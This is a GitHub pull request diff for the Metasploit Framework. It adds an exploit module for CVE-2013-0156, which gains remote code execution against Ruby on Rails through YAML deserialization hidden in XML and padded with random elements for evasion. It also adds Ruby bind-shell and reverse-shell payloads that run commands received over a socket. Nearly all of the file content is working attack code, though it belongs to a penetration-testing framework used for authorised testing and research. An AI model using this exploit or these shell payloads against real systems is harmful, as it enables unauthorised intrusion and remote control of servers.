Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit for CVE-2013-0156 and new ruby-platform modules #1282

Merged
merged 8 commits into from Jan 10, 2013
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
8 changes: 8 additions & 0 deletions lib/msf/core/module/platform.rb
Expand Up @@ -339,6 +339,14 @@ class Java < Msf::Module::Platform
Alias = "java"
end

#
# Ruby
#
class Ruby < Msf::Module::Platform
Rank = 100
Alias = "ruby"
end

#
# Linux
#
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/ui/console/command_dispatcher/exploit.rb
Expand Up @@ -249,6 +249,7 @@ def self.choose_payload(mod, target)
'java/meterpreter/reverse_tcp',
'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp',
'ruby/reverse_tcp',
'cmd/unix/interact',
'cmd/unix/reverse',
'cmd/unix/reverse_perl',
Expand All @@ -272,4 +273,3 @@ def self.choose_payload(mod, target)
end

end end end end

4 changes: 3 additions & 1 deletion lib/rex/constants.rb
Expand Up @@ -82,6 +82,7 @@
ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
ARCH_RUBY = 'ruby'
ARCH_TYPES =
[
ARCH_X86,
Expand All @@ -99,7 +100,8 @@
ARCH_CMD,
ARCH_PHP,
ARCH_TTY,
ARCH_JAVA
ARCH_JAVA,
ARCH_RUBY
]

ARCH_ALL = ARCH_TYPES
Expand Down
155 changes: 155 additions & 0 deletions modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
@@ -0,0 +1,155 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the XML request
processor of the Ruby on Rails application framework. This vulnerability allows
an attacker to instantiate a remote object, which in turn can be used to execute
any ruby code remotely in the context of the application.

This module has been tested across multiple versions of RoR 3.x, but does not yet
work against 2.x versions of RoR.

},
'Author' =>
[
'charlisome', # PoC
'espes', # PoC and Metasploit module
'lian', # Identified the RouteSet::NamedRouteCollection vector
'hdm' # Module merge/conversion/payload work
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-0156'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Jan 7 2013',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

], self.class)

register_evasion_options(
[
OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
], self.class)
end


#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end

#
# Create the YAML document that will be embedded into the XML
#
def build_yaml

# Embed the payload with the detached stub
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
"eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml
end


#
# Create the XML wrapper with any desired evasion
#
def build_request
xml = ''

elo = Rex::Text.rand_text_alpha(rand(12)+4)

if datastore['XML::PadElement']
xml << "<#{elo}>"

1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end
end

el = Rex::Text.rand_text_alpha(rand(12)+4)
xml << "<#{el} type='yaml'>"
xml << build_yaml
xml << "</#{el}>"

if datastore['XML::PadElement']
1.upto(rand(1000)+50) do
el = Rex::Text.rand_text_alpha(rand(12)+4)
tp = ['string', 'integer'][ rand(2) ]
xml << "<#{el} type='#{tp}'>"
xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
xml << "</#{el}>"
end

xml << "</#{elo}>"
end

xml
end

#
# Send the actual request
#
def exploit
data = build_request
print_status("Sending #{data.length} bytes to #{rhost}:#{rport}...")
res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'],
'ctype' => 'application/xml',
'data' => data,
}, 25)
handler
end
end
40 changes: 40 additions & 0 deletions modules/payloads/singles/ruby/bind_tcp.rb
@@ -0,0 +1,40 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Command Shell, Bind TCP',
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end

def generate
return super + ruby_string
end

def ruby_string
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
end
end
40 changes: 40 additions & 0 deletions modules/payloads/singles/ruby/bind_tcp_ipv6.rb
@@ -0,0 +1,40 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Command Shell, Bind TCP IPv6',
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end

def generate
return super + ruby_string
end

def ruby_string
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
end
end
42 changes: 42 additions & 0 deletions modules/payloads/singles/ruby/reverse_tcp.rb
@@ -0,0 +1,42 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'Ruby Command Shell, Reverse TCP',
'Description' => 'Connect back and create a command shell via Ruby',
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'ruby',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end

def generate
return super + ruby_string
end

def ruby_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
end
end